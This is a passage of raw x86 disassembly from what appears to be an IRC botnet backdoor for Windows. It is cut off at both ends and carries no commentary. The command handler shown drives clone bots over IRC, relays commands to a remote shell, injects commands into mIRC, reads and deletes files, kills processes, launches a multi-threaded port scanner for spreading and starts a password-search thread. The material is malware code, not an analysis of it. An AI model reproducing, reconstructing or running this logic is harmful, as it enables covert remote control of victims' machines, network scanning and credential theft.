sub_4089DC+20A0j ; sub_4089DC+20B4j push [ebp+var_10] lea eax, [ebp+var_2F0] push offset aNickS ; "NICK %s" push eax call sub_414415 mov esi, [ebp+var_8] push esi call sub_4147A2 add esp, 10h test eax, eax jle loc_40E4AE push esi call sub_4147A2 cmp eax, 1F4h pop ecx jge loc_40E4AE lea eax, [ebp+var_2F0] push eax push offset aS_5 ; "%s\r\n" push esi call sub_4147A2 imul eax, 234h pop ecx push dword_4366AC[eax] call sub_405674 push [ebp+var_10] push esi push offset aCloneNickSS ; "[CLONE]: Nick (%s): %s" loc_40BD74: ; CODE XREF: sub_4089DC+3423j ; sub_4089DC+3492j ... call sub_401F73 jmp loc_40D310 ; --------------------------------------------------------------------------- loc_40BD7E: ; CODE XREF: sub_4089DC+2078j ; sub_4089DC+208Cj cmp [ebp+var_14], 0 jz loc_40E4AE push [ebp+var_10] push [ebp+var_14] call sub_414EE0 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_40BDB0 push esi lea eax, [ebp+var_2F0] push offset aModeS ; "MODE %s" push eax call sub_414415 add esp, 0Ch loc_40BDB0: ; CODE XREF: sub_4089DC+33BDj mov edi, [ebp+var_8] push edi call sub_4147A2 test eax, eax pop ecx jle loc_40E4AE push edi call sub_4147A2 cmp eax, 1F4h pop ecx jge loc_40E4AE lea eax, [ebp+var_2F0] push eax push offset aS_5 ; "%s\r\n" push edi call sub_4147A2 imul eax, 234h pop ecx push dword_4366AC[eax] call sub_405674 push esi push edi push offset aCloneModeSS ; "[CLONE]: Mode (%s): %s" jmp loc_40BD74 ; --------------------------------------------------------------------------- loc_40BE04: ; CODE XREF: sub_4089DC+2050j ; sub_4089DC+2064j cmp [ebp+var_14], 0 jz loc_40E4AE push [ebp+var_10] push [ebp+var_14] call sub_414EE0 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40E4AE mov edi, [ebp+var_8] push edi call sub_4147A2 test eax, eax pop ecx jle loc_40E4AE push edi call sub_4147A2 cmp eax, 1F4h pop ecx jge loc_40E4AE push esi push offset aS_5 ; "%s\r\n" push edi call sub_4147A2 imul eax, 234h pop ecx push dword_4366AC[eax] call sub_405674 push esi push edi push offset aCloneRawSS ; "[CLONE]: Raw (%s): %s" jmp loc_40BD74 ; --------------------------------------------------------------------------- loc_40BE73: ; CODE XREF: sub_4089DC+2028j ; sub_4089DC+203Cj cmp [ebp+var_14], 0 jz loc_40E4AE push [ebp+var_8] push [ebp+var_14] call sub_414EE0 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40E4AE push esi push offset aModeS_0 ; "MODE %s\r\n" push [ebp+arg_4] call sub_405674 push esi push offset aMainModeChange ; "[MAIN]: Mode change: %s" jmp loc_40C73E ; --------------------------------------------------------------------------- loc_40BEAD: ; CODE XREF: sub_4089DC+2000j ; sub_4089DC+2014j mov edi, [ebp+var_A4] push 4 mov esi, offset dword_427938 pop ecx xor eax, eax repe cmpsb jz loc_408C5A push [ebp+var_10] push offset aPartS ; "PART %s\r\n" push [ebp+arg_4] call sub_405674 push [ebp+var_8] call sub_4147A2 imul eax, 3E8h add esp, 10h push eax call ds:dword_420000 ; Sleep push [ebp+ebx+var_9C] push [ebp+var_10] push offset aJoinSS_0 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_405674 push offset aMainCycle_ ; "[MAIN]: Cycle." call sub_401EFF jmp loc_40C743 ; --------------------------------------------------------------------------- loc_40BF13: ; CODE XREF: sub_4089DC+1FD8j ; sub_4089DC+1FECj cmp [ebp+var_14], 0 jz loc_40E4AE lea edx, [eax+1] loc_40BF20: ; CODE XREF: sub_4089DC+3549j mov cl, [eax] inc eax test cl, cl jnz short loc_40BF20 sub eax, edx mov ecx, eax mov eax, [ebp+var_8] lea esi, [eax+1] loc_40BF31: ; CODE XREF: sub_4089DC+355Aj mov dl, [eax] inc eax test dl, dl jnz short loc_40BF31 push [ebp+var_10] sub eax, esi add eax, ecx mov ecx, [ebp+var_14] lea eax, [eax+ecx+2] push eax call sub_414EE0 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40E4AE push esi lea eax, [ebp+var_2F0] push offset dword_426F6C push eax call sub_414415 push 0 push 0 lea eax, [ebp+var_2F0] push eax push [ebp+var_8] push [ebp+arg_4] call sub_4056BF push esi push [ebp+var_8] push offset aMainActionSS_ ; "[MAIN]: Action: %s: %s." call sub_401F73 add esp, 2Ch jmp loc_40E4AE ; --------------------------------------------------------------------------- loc_40BF96: ; CODE XREF: sub_4089DC+1FB0j ; sub_4089DC+1FC4j cmp [ebp+var_14], 0 jz loc_40E4AE lea edx, [eax+1] loc_40BFA3: ; CODE XREF: sub_4089DC+35CCj mov cl, [eax] inc eax test cl, cl jnz short loc_40BFA3 sub eax, edx mov ecx, eax mov eax, [ebp+var_8] lea esi, [eax+1] loc_40BFB4: ; CODE XREF: sub_4089DC+35DDj mov dl, [eax] inc eax test dl, dl jnz short loc_40BFB4 push [ebp+var_10] sub eax, esi add eax, ecx mov ecx, [ebp+var_14] lea eax, [eax+ecx+2] push eax call sub_414EE0 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40E4AE push 0 push 0 push esi push [ebp+var_8] push [ebp+arg_4] call sub_4056BF push esi push [ebp+var_8] push offset aMainPrivmsgSS_ ; "[MAIN]: Privmsg: %s: %s." call sub_401F73 loc_40BFF9: ; CODE XREF: sub_4089DC+569Aj add esp, 20h jmp loc_40E4AE ; --------------------------------------------------------------------------- loc_40C001: ; CODE XREF: sub_4089DC+1F88j ; sub_4089DC+1F9Cj cmp [ebp+var_14], 0 jz loc_408C5A push [ebp+var_10] push [ebp+var_14] call sub_414EE0 test eax, eax pop ecx pop ecx jz loc_408C5A push eax push [ebp+var_8] call sub_401DEF push [ebp+var_8] lea eax, [ebp+var_2F0] push offset aMainAliasAdded ; "[MAIN]: Alias added: %s." push eax call sub_414415 add esp, 14h loc_40C040: ; CODE XREF: sub_4089DC+3C53j ; sub_4089DC+5086j cmp [ebp+var_C], 0 jnz short loc_40C063 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF add esp, 14h loc_40C063: ; CODE XREF: sub_4089DC+3668j ; sub_4089DC+483Ej ... lea eax, [ebp+var_2F0] push eax call sub_401EFF jmp loc_40E66D ; --------------------------------------------------------------------------- loc_40C074: ; CODE XREF: sub_4089DC+1E48j ; sub_4089DC+1E5Cj push [ebp+var_8] push [ebp+arg_1C] call sub_414EE0 test eax, eax pop ecx pop ecx jz loc_40E4AE mov ebx, [ebp+ebx+var_A0] test ebx, ebx jz short loc_40C10F push ebx push [ebp+var_14] call sub_414EE0 mov esi, eax test esi, esi pop ecx pop ecx lea eax, [ebp+var_2F0] jz short loc_40C0FD push esi push [ebp+var_A0] push [ebp+var_A4] push [ebp+var_A8] push offset aSSSS ; "%s %s %s :%s" push eax call sub_414415 push 1FFh lea eax, [ebp+var_2F0] push eax push [ebp+arg_0] call sub_4144A0 push esi push [ebp+var_8] lea eax, [ebp+var_2F0] push offset aMainGethostSCo ; "[MAIN]: Gethost: %s, Command: %s" push eax call sub_414415 add esp, 34h inc [ebp+arg_24] jmp loc_40C2B0 ; --------------------------------------------------------------------------- loc_40C0FD: ; CODE XREF: sub_4089DC+36CDj push offset aMainUnableToEx ; "[MAIN]: Unable to extract Gethost comma"... push eax call sub_414415 pop ecx pop ecx jmp loc_40C2B0 ; --------------------------------------------------------------------------- loc_40C10F: ; CODE XREF: sub_4089DC+36B6j push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_411939 add esp, 0Ch push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF push [ebp+var_8] lea eax, [ebp+var_2F0] push offset aMainGethostS_ ; "[MAIN]: Gethost: %s." push 200h push eax call sub_41466D add esp, 24h jmp loc_40C2B0 ; --------------------------------------------------------------------------- loc_40C159: ; CODE XREF: sub_4089DC+1B77j ; sub_4089DC+1B8Bj push offset aR ; "r" push [ebp+var_8] call sub_414BF3 mov edi, eax test edi, edi pop ecx pop ecx lea eax, [ebp+var_2F0] jz short loc_40C1D7 push edi mov esi, 200h push esi push eax call sub_415C85 add esp, 0Ch jmp short loc_40C1B1 ; --------------------------------------------------------------------------- loc_40C186: ; CODE XREF: sub_4089DC+37D7j push 1 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF push edi lea eax, [ebp+var_2F0] push esi push eax call sub_415C85 add esp, 20h loc_40C1B1: ; CODE XREF: sub_4089DC+37A8j test eax, eax jnz short loc_40C186 push edi call sub_4147F3 push [ebp+var_8] lea eax, [ebp+var_2F0] push offset aMainReadFileCo ; "[MAIN]: Read file complete: %s" push eax call sub_414415 add esp, 10h jmp loc_40C2B0 ; --------------------------------------------------------------------------- loc_40C1D7: ; CODE XREF: sub_4089DC+3796j push [ebp+var_8] push offset aMainReadFileFa ; "[MAIN]: Read file failed: %s" loc_40C1DF: ; CODE XREF: sub_4089DC+329Ej push eax call sub_414415 add esp, 0Ch jmp loc_40C28D ; --------------------------------------------------------------------------- loc_40C1ED: ; CODE XREF: sub_4089DC+1B4Fj ; sub_4089DC+1B63j cmp [ebp+var_14], 0 jz loc_40E4AE push [ebp+var_8] push [ebp+var_14] call sub_414EE0 mov ebx, eax test ebx, ebx pop ecx pop ecx jz loc_40E4AE mov edi, ebx dec edi loc_40C211: ; CODE XREF: sub_4089DC+383Bj mov al, [edi+1] inc edi test al, al jnz short loc_40C211 mov esi, offset asc_4216D8 ; "\n" push ebx movsw call sub_40F039 test eax, eax pop ecx lea eax, [ebp+var_2F0] jnz short loc_40C238 push offset aCmdErrorSendin ; "[CMD]: Error sending to remote shell." jmp short loc_40C285 ; --------------------------------------------------------------------------- loc_40C238: ; CODE XREF: sub_4089DC+3853j push ebx push offset aCmdCommandsS ; "[CMD]: Commands: %s" push eax call sub_414415 add esp, 0Ch jmp short loc_40C2B0 ; --------------------------------------------------------------------------- loc_40C249: ; CODE XREF: sub_4089DC+1B27j ; sub_4089DC+1B3Bj cmp [ebp+var_14], 0 jz loc_40E4AE push [ebp+var_8] push [ebp+var_14] call sub_414EE0 test eax, eax pop ecx pop ecx jz loc_40E4AE push eax call sub_4068AF test eax, eax pop ecx lea eax, [ebp+var_2F0] jnz short loc_40C280 push offset aMircClientNotO ; "[mIRC]: Client not open." jmp short loc_40C285 ; --------------------------------------------------------------------------- loc_40C280: ; CODE XREF: sub_4089DC+389Bj push offset aMircCommandSen ; "[mIRC]: Command sent." loc_40C285: ; CODE XREF: sub_4089DC+1C49j ; sub_4089DC+1C53j ... push eax call sub_414415 pop ecx pop ecx loc_40C28D: ; CODE XREF: sub_4089DC+1BC4j ; sub_4089DC+1C21j ... cmp [ebp+var_C], 0 jnz short loc_40C2B0 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF add esp, 14h loc_40C2B0: ; CODE XREF: sub_4089DC+371Cj ; sub_4089DC+372Ej ... lea eax, [ebp+var_2F0] push eax call sub_401EFF pop ecx jmp loc_40E4AE ; --------------------------------------------------------------------------- loc_40C2C2: ; CODE XREF: sub_4089DC+1AFFj ; sub_4089DC+1B13j push 0 push [ebp+var_A0] push [ebp+arg_4] push [ebp+var_8] call sub_4041A6 push [ebp+var_8] push offset aFileListS ; "[FILE]: List: %s" jmp loc_40BD74 ; --------------------------------------------------------------------------- loc_40C2E2: ; CODE XREF: sub_4089DC+1AD7j ; sub_4089DC+1AEBj push 20h push [ebp+var_8] call ds:dword_4200CC ; SetFileAttributesA push [ebp+var_8] call ds:dword_4200E4 ; DeleteFileA test eax, eax jz short loc_40C304 push [ebp+var_8] push offset aFileDeletedS_0 ; "[FILE]: Deleted '%s'." jmp short loc_40C30F ; --------------------------------------------------------------------------- loc_40C304: ; CODE XREF: sub_4089DC+391Cj push offset aFile ; "[FILE]:" call sub_4067EA push eax loc_40C30F: ; CODE XREF: sub_4089DC+3926j lea eax, [ebp+var_2F0] push 200h push eax call sub_41466D loc_40C320: ; CODE XREF: sub_4089DC+3A87j add esp, 10h loc_40C323: ; CODE XREF: sub_4089DC+3A9Fj ; sub_4089DC+4EFBj cmp [ebp+var_C], 0 jnz loc_40A0E4 push 0 jmp loc_40A0C9 ; --------------------------------------------------------------------------- loc_40C334: ; CODE XREF: sub_4089DC+1AAFj ; sub_4089DC+1AC3j push [ebp+var_8] call sub_4147A2 push eax call sub_4085A8 xor esi, esi pop ecx inc esi pop ecx push [ebp+var_8] cmp eax, esi lea eax, [ebp+var_2F0] jnz short loc_40C35B push offset aProcProcessKil ; "[PROC]: Process killed ID: %s" jmp short loc_40C360 ; --------------------------------------------------------------------------- loc_40C35B: ; CODE XREF: sub_4089DC+3976j push offset aProcFailedToTe ; "[PROC]: Failed to terminate process ID:"... loc_40C360: ; CODE XREF: sub_4089DC+397Dj push eax call sub_414415 add esp, 0Ch cmp [ebp+var_C], 0 jnz loc_40A0E7 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF add esp, 14h jmp loc_40A0E7 ; --------------------------------------------------------------------------- loc_40C395: ; CODE XREF: sub_4089DC+1A87j ; sub_4089DC+1A9Bj push 1 xor esi, esi push esi push esi push [ebp+var_8] push [ebp+var_4] push [ebp+var_A0] push [ebp+arg_4] call sub_4081CA add esp, 1Ch cmp eax, 1 jnz short loc_40C3CE push [ebp+var_8] push offset aProcProcessK_0 ; "[PROC]: Process killed & deleted: %s" loc_40C3BF: ; CODE XREF: sub_4089DC+2C27j lea eax, [ebp+var_2F0] loc_40C3C5: ; CODE XREF: sub_4089DC+2F79j ; sub_4089DC+3A2Bj ... push eax call sub_414415 add esp, 0Ch loc_40C3CE: ; CODE XREF: sub_4089DC+2C3Cj ; sub_4089DC+2F1Dj ... cmp [ebp+var_C], esi jnz loc_40A0E4 push esi jmp loc_40A0C9 ; --------------------------------------------------------------------------- loc_40C3DD: ; CODE XREF: sub_4089DC+1A5Fj ; sub_4089DC+1A73j xor esi, esi push esi push esi push esi push [ebp+var_8] push [ebp+var_4] push esi push [ebp+arg_4] call sub_4081CA add esp, 1Ch push [ebp+var_8] cmp eax, 1 lea eax, [ebp+var_2F0] jnz short loc_40C409 push offset aProcProcessK_1 ; "[PROC]: Process killed: %s" jmp short loc_40C3C5 ; --------------------------------------------------------------------------- loc_40C409: ; CODE XREF: sub_4089DC+3A24j push offset aProcFailedTo_0 ; "[PROC]: Failed to terminate process: %s"... jmp short loc_40C3C5 ; --------------------------------------------------------------------------- loc_40C410: ; CODE XREF: sub_4089DC+1A37j ; sub_4089DC+1A4Bj mov esi, [ebp+var_8] push esi call dword_43587C ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40C438 push 2 push 4 lea eax, [ebp+arg_0] push eax call dword_4358F8 ; gethostbyaddr test eax, eax jz short loc_40C468 push dword ptr [eax] jmp short loc_40C451 ; --------------------------------------------------------------------------- loc_40C438: ; CODE XREF: sub_4089DC+3A44j push esi call dword_435868 ; gethostbyname test eax, eax jz short loc_40C468 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_435888 ; inet_ntoa push eax loc_40C451: ; CODE XREF: sub_4089DC+3A5Aj push esi lea eax, [ebp+var_2F0] push offset aDnsLookupSS_ ; "[DNS]: Lookup: %s -> %s." push eax call sub_414415 jmp loc_40C320 ; --------------------------------------------------------------------------- loc_40C468: ; CODE XREF: sub_4089DC+3A56j ; sub_4089DC+3A65j lea eax, [ebp+var_2F0] push offset aDnsCouldnTReso ; "[DNS]: Couldn't resolve hostname." push eax call sub_414415 pop ecx pop ecx jmp loc_40C323 ; --------------------------------------------------------------------------- loc_40C480: ; CODE XREF: sub_4089DC+1A0Fj ; sub_4089DC+1A23j push 7Fh push [ebp+var_8] push [ebp+arg_14] call sub_4144A0 push [ebp+var_8] lea eax, [ebp+var_2F0] push offset aMainServerChan ; "[MAIN]: Server changed to: '%s'." push eax call sub_414415 add esp, 18h jmp loc_40D99F ; --------------------------------------------------------------------------- loc_40C4A9: ; CODE XREF: sub_4089DC+19E7j ; sub_4089DC+19FBj push 5 xor esi, esi push esi push esi push [ebp+var_8] push offset aOpen ; "open" push esi call dword_435910 push [ebp+var_8] test eax, eax lea eax, [ebp+var_2F0] jz short loc_40C4D5 push offset aShellFileOpene ; "[SHELL]: File opened: %s" jmp loc_40C3C5 ; --------------------------------------------------------------------------- loc_40C4D5: ; CODE XREF: sub_4089DC+3AEDj push offset aShellCouldnTOp ; "[SHELL]: Couldn't open file: %s" jmp loc_40C3C5 ; --------------------------------------------------------------------------- loc_40C4DF: ; CODE XREF: sub_4089DC+19BFj ; sub_4089DC+19D3j mov eax, [ebp+var_8] mov cl, [eax] mov byte_42BED0, cl movsx eax, byte ptr [eax] push eax push offset aMainPrefixChan ; "[MAIN]: Prefix changed to: '%c'." jmp loc_40D990 ; --------------------------------------------------------------------------- loc_40C4F8: ; CODE XREF: sub_4089DC+1997j ; sub_4089DC+19ABj push [ebp+var_8] call sub_4147A2 test eax, eax pop ecx jle loc_40E4AE push [ebp+var_8] call sub_4147A2 cmp eax, 1F4h pop ecx jge loc_40E4AE push 0 push 0 lea eax, [ebp+var_C8] push 2 push eax call sub_40FC7C push eax lea eax, [ebp+var_2F0] push offset aNickS ; "NICK %s" push eax call sub_414415 add esp, 1Ch jmp loc_40BCBA ; --------------------------------------------------------------------------- loc_40C549: ; CODE XREF: sub_4089DC+196Fj ; sub_4089DC+1983j mov edi, [ebp+var_8] push edi call sub_4147A2 test eax, eax pop ecx jle loc_408C5A push edi call sub_4147A2 mov esi, 1F4h cmp eax, esi pop ecx jge loc_408C5A push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_4147A2 imul eax, 234h pop ecx push dword_4366AC[eax] call sub_405674 pop ecx pop ecx push esi call ds:dword_420000 ; Sleep push edi call sub_4147A2 imul eax, 234h pop ecx push dword_4366AC[eax] call dword_435914 ; closesocket push [ebp+var_1C] push edi call sub_4147A2 imul eax, 234h pop ecx push dword_4366B4[eax] call ds:dword_4200F0 ; TerminateThread push edi call sub_4147A2 imul eax, 234h and dword_4366B4[eax], 0 push edi call sub_4147A2 imul eax, 234h and byte ptr dword_4364A0[eax], 0 pop ecx pop ecx jmp loc_408C5A ; --------------------------------------------------------------------------- loc_40C5F7: ; CODE XREF: sub_4089DC+1947j ; sub_4089DC+195Bj mov edi, [ebp+var_8] push 4 mov esi, offset aAll ; "all" pop ecx xor eax, eax repe cmpsb jnz short loc_40C634 call sub_41240B test eax, eax jle short loc_40C61C push eax push offset aThreadsStopped ; "[THREADS]: Stopped: %d thread(s)." jmp loc_40DA53 ; --------------------------------------------------------------------------- loc_40C61C: ; CODE XREF: sub_4089DC+3C33j push offset aThreadsNoActiv ; "[THREADS]: No active threads found." loc_40C621: ; CODE XREF: sub_4089DC+4647j ; sub_4089DC+4666j ... lea eax, [ebp+var_2F0] push eax call sub_414415 pop ecx pop ecx jmp loc_40C040 ; --------------------------------------------------------------------------- loc_40C634: ; CODE XREF: sub_4089DC+3C2Aj mov edi, [ebp+var_20] jmp short loc_40C6A6 ; --------------------------------------------------------------------------- loc_40C639: ; CODE XREF: sub_4089DC+3CCEj mov esi, [ebp+edi*4+var_A8] test esi, esi jz loc_408C5A push esi call sub_4147A2 push eax call sub_412383 pop ecx pop ecx test eax, eax push esi lea eax, [ebp+var_2F0] jz short loc_40C668 push offset aThreadsKilledT ; "[THREADS]: Killed thread: %s." jmp short loc_40C66D ; --------------------------------------------------------------------------- loc_40C668: ; CODE XREF: sub_4089DC+3C83j push offset aThreadsFailedT ; "[THREADS]: Failed to kill thread: %s." loc_40C66D: ; CODE XREF: sub_4089DC+3C8Aj push eax call sub_414415 add esp, 0Ch cmp [ebp+var_C], 0 jnz short loc_40C699 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF add esp, 14h loc_40C699: ; CODE XREF: sub_4089DC+3C9Ej lea eax, [ebp+var_2F0] push eax call sub_401EFF pop ecx loc_40C6A6: ; CODE XREF: sub_4089DC+3C5Bj inc edi cmp edi, 20h jb short loc_40C639 jmp loc_408C5A ; --------------------------------------------------------------------------- loc_40C6B1: ; CODE XREF: sub_4089DC+191Fj ; sub_4089DC+1933j cmp [ebp+var_14], 0 jz loc_40E4AE push [ebp+var_8] push [ebp+var_14] call sub_414EE0 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40E4AE push esi push offset aS_5 ; "%s\r\n" push [ebp+arg_4] call sub_405674 push esi push offset aMainIrcRawS_ ; "[MAIN]: IRC Raw: %s." jmp short loc_40C73E ; --------------------------------------------------------------------------- loc_40C6E8: ; CODE XREF: sub_4089DC+18F7j ; sub_4089DC+190Bj push [ebp+var_8] push offset aPartS ; "PART %s\r\n" push [ebp+arg_4] call sub_405674 push [ebp+var_8] push offset aMainPartedChan ; "[MAIN]: Parted channel: '%s'." jmp short loc_40C73E ; --------------------------------------------------------------------------- loc_40C702: ; CODE XREF: sub_4089DC+18CFj ; sub_4089DC+18E3j push [ebp+ebx+var_A0] push [ebp+var_8] push offset aJoinSS_0 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_405674 push [ebp+var_8] push offset aMainJoinedCh_0 ; "[MAIN]: Joined channel: '%s'." jmp loc_40BD74 ; --------------------------------------------------------------------------- loc_40C726: ; CODE XREF: sub_4089DC+18A7j ; sub_4089DC+18BBj push [ebp+var_8] push offset aNickS_0 ; "NICK %s\r\n" push [ebp+arg_4] call sub_405674 push [ebp+var_8] push offset aMainNickChange ; "[MAIN]: Nick changed to: '%s'." loc_40C73E: ; CODE XREF: sub_4089DC+34CCj ; sub_4089DC+3D0Aj ... call sub_401F73 loc_40C743: ; CODE XREF: sub_4089DC+3532j add esp, 14h jmp loc_40E4AE ; --------------------------------------------------------------------------- loc_40C74B: ; CODE XREF: sub_4089DC+186Dj ; sub_4089DC+1881j mov cl, byte_42B22A and [ebp+arg_0], 0 test cl, cl mov edx, offset byte_42B22A jz loc_408C5A mov eax, edx loc_40C764: ; CODE XREF: sub_4089DC+3D91j inc [ebp+arg_0] add eax, 0Bh cmp byte ptr [eax], 0 jnz short loc_40C764 test cl, cl jz loc_408C5A mov [ebp+var_18], edx loc_40C77A: ; CODE XREF: sub_4089DC+406Fj push 9 call sub_41248A pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 258h jle short loc_40C7CA push ecx lea eax, [ebp+var_2F0] push offset aScanAlreadyDSc ; "[SCAN]: Already %d scanning threads. To"... push eax call sub_414415 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF add esp, 20h jmp loc_40CA41 ; --------------------------------------------------------------------------- loc_40C7CA: ; CODE XREF: sub_4089DC+3DB8j or [ebp+var_4D8], 0FFFFFFFFh xor esi, esi cmp dword_42B068, esi mov [ebp+var_4DC], 0C8h mov [ebp+var_4F0], 5 mov [ebp+var_4EC], esi mov [ebp+arg_0], esi jz short loc_40C85D mov edx, [ebp+var_18] add edx, 0FFFFFFF6h mov edi, offset dword_42B068 loc_40C803: ; CODE XREF: sub_4089DC+3E63j mov esi, edx lea eax, [edi-28h] loc_40C808: ; CODE XREF: sub_4089DC+3E48j mov bl, [eax] mov cl, bl cmp bl, [esi] jnz short loc_40C82C test cl, cl jz short loc_40C826 mov bl, [eax+1] mov cl, bl cmp bl, [esi+1] jnz short loc_40C82C inc eax inc eax inc esi inc esi test cl, cl jnz short loc_40C808 loc_40C826: ; CODE XREF: sub_4089DC+3E36j xor esi, esi xor eax, eax jmp short loc_40C833 ; --------------------------------------------------------------------------- loc_40C82C: ; CODE XREF: sub_4089DC+3E32j ; sub_4089DC+3E40j sbb eax, eax sbb eax, 0FFFFFFFFh xor esi, esi loc_40C833: ; CODE XREF: sub_4089DC+3E4Ej cmp eax, esi jz short loc_40C843 inc [ebp+arg_0] add edi, 3Ch cmp [edi], esi jnz short loc_40C803 jmp short loc_40C85D ; --------------------------------------------------------------------------- loc_40C843: ; CODE XREF: sub_4089DC+3E59j mov eax, [ebp+arg_0] mov ecx, eax imul ecx, 3Ch mov ecx, dword_42B068[ecx] mov [ebp+var_4F4], ecx mov [ebp+var_4D8], eax loc_40C85D: ; CODE XREF: sub_4089DC+3E1Aj ; sub_4089DC+3E65j cmp [ebp+var_4F4], esi jz loc_40CA68 push 10h pop esi lea eax, [ebp+var_28] push eax lea eax, [ebp+var_D8] push eax push [ebp+arg_4] mov [ebp+var_28], esi call dword_435780 ; getsockname mov al, [ebp+var_45B] neg al push esi sbb eax, eax and eax, 0FFFF0100h add eax, 0FFFFh and [ebp+var_D4], eax push [ebp+var_D4] call dword_435888 ; inet_ntoa push eax lea eax, [ebp+var_68C] push eax call sub_4144A0 xor eax, eax cmp [ebp+var_45B], al push 30h setnz al inc eax inc eax mov esi, eax lea eax, [ebp+var_68C] push eax call sub_414470 add esp, 14h xor bl, bl test esi, esi jle short loc_40C8FD loc_40C8DD: ; CODE XREF: sub_4089DC+3F1Fj test eax, eax jz short loc_40C8FD mov byte ptr [eax], 78h lea eax, [ebp+var_68C] push 30h push eax call sub_414470 pop ecx inc bl pop ecx movsx ecx, bl cmp ecx, esi jl short loc_40C8DD loc_40C8FD: ; CODE XREF: sub_4089DC+3EFFj ; sub_4089DC+3F03j mov eax, [ebp+arg_4] push [ebp+var_A0] mov [ebp+var_4F8], eax mov eax, [ebp+var_4] mov [ebp+var_4D0], eax mov eax, [ebp+var_C] mov [ebp+var_4CC], eax mov ebx, 80h lea eax, [ebp+var_5F8] push ebx push eax mov [ebp+var_4C8], 1 call sub_41466D xor ecx, ecx add esp, 0Ch mov eax, offset aMurders ; "#murders" inc ecx mov edi, 420AEAh mov esi, eax xor edx, edx repe cmpsb jz short loc_40C965 push eax lea eax, [ebp+var_578] push ebx push eax call sub_41466D add esp, 0Ch jmp short loc_40C96C ; --------------------------------------------------------------------------- loc_40C965: ; CODE XREF: sub_4089DC+3F74j and [ebp+var_578], 0 loc_40C96C: ; CODE XREF: sub_4089DC+3F87j xor esi, esi cmp [ebp+var_4C8], esi mov eax, offset aRandom ; "Random" jnz short loc_40C980 mov eax, offset aSequential ; "Sequential" loc_40C980: ; CODE XREF: sub_4089DC+3F9Dj push [ebp+var_4DC] lea ecx, [ebp+var_68C] push [ebp+var_4EC] push [ebp+var_4F0] push [ebp+var_4F4] push ecx push eax lea eax, [ebp+var_2F0] push offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d w"... push eax call sub_414415 push esi lea eax, [ebp+var_2F0] push 9 push eax call sub_41229A add esp, 2Ch mov [ebp+var_4E8], eax lea eax, [ebp+var_1C] push eax push esi lea eax, [ebp+var_68C] push eax push offset sub_401B9D push esi push esi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_4E8] imul ecx, 234h cmp eax, esi mov dword_4366B4[ecx], eax jnz short loc_40CA5E call ds:dword_420008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2F0] push offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"... push eax call sub_414415 add esp, 0Ch loc_40CA13: ; CODE XREF: sub_4089DC+408Aj cmp [ebp+var_C], esi jnz short loc_40CA34 push esi push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_A0] push [ebp+arg_4] call sub_4056BF add esp, 14h loc_40CA34: ; CODE XREF: sub_4089DC+403Aj lea eax, [ebp+var_2F0] push eax call sub_401EFF pop ecx loc_40CA41: ; CODE XREF: sub_4089DC+3DE9j add [ebp+var_18], 0Bh mov eax, [ebp+var_18] cmp byte ptr [eax], 0 jnz loc_40C77A jmp loc_408C5A ; --------------------------------------------------------------------------- loc_40CA56: ; CODE XREF: sub_4089DC+4088j push 32h call ds:dword_420000 ; Sleep loc_40CA5E: ; CODE XREF: sub_4089DC+401Aj cmp [ebp+var_4C4], esi jz short loc_40CA56 jmp short loc_40CA13 ; --------------------------------------------------------------------------- loc_40CA68: ; CODE XREF: sub_4089DC+3E87j lea eax, [ebp+var_2F0] push offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan, port is i"... push eax call sub_414415 pop ecx pop ecx jmp loc_40DD97 ; --------------------------------------------------------------------------- loc_40CA80: ; CODE XREF: sub_4089DC+1845j ; sub_4089DC+1859j push [ebp+var_A0] lea eax, [ebp+var_B8] push 80h push eax call sub_41466D mov eax, [ebp+arg_4] mov [ebp+var_BC], eax mov eax, [ebp+var_4] mov [ebp+var_34], eax mov eax, [ebp+var_C] push offset aFindpassSearch ; "[FINDPASS]: Searching for password." mov [ebp+var_30], eax lea eax, [ebp+var_2F0] push 200h push eax call sub_41466D xor esi, esi push esi lea eax, [ebp+var_2F0] push 1Eh push eax call sub_41229A add esp, 24h mov [ebp+var_38], eax lea eax, [ebp+var_1C] push eax push esi lea eax, [ebp+var_BC] push eax push offset sub_40378E push esi push esi call ds:dword_42000C ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_4366B4[ecx], eax jnz short loc_40CB1E call ds:dword_420008 ; RtlGetLastWin32Error push eax push offset aFindpassFail_0 ; "[FINDPASS]: Failed to start search thre"... jmp loc_40B88E ; --------------------------------------------------------------------------- loc_40CB16: ; CODE XREF: sub_4089DC+4145j push 32h call ds:dword_420000 ; Sleep loc_40CB1E: ; CODE XREF: sub_4089DC+4127j cmp [ebp+var_2C], esi jz short loc_40CB16 jmp loc_40D9C2 ; --------------------------------------------------------------------------- 